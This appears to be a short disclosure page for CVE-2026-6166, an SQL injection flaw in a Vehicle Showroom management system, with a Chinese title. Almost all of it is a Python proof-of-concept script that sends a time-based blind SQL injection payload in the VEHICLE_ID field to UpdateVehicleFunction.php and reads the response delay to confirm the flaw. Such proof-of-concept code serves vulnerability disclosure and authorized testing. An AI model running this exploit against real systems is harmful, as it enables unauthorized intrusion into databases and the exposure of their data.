CVE-2026-6166: Vehicle Showroom管理系统SQL注入漏洞

import requests # Target URL url = "http://target.com/util/UpdateVehicleFunction.php" # Injection payload for VEHICLE_ID # Using a simple boolean-based test or time-based blind payload = "1' AND SLEEP(5)-- -" # Data payload data = { "VEHICLE_ID": payload } try: print(f"[*] Sending payload to {url}...") response = requests.post(url, data=data) # Check if the response time indicates successful injection (Time-based) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection detected via timing analysis.") else: print("[-] Vulnerability not detected or patched.") except Exception as e: print(f"[!] Error occurred: {e}")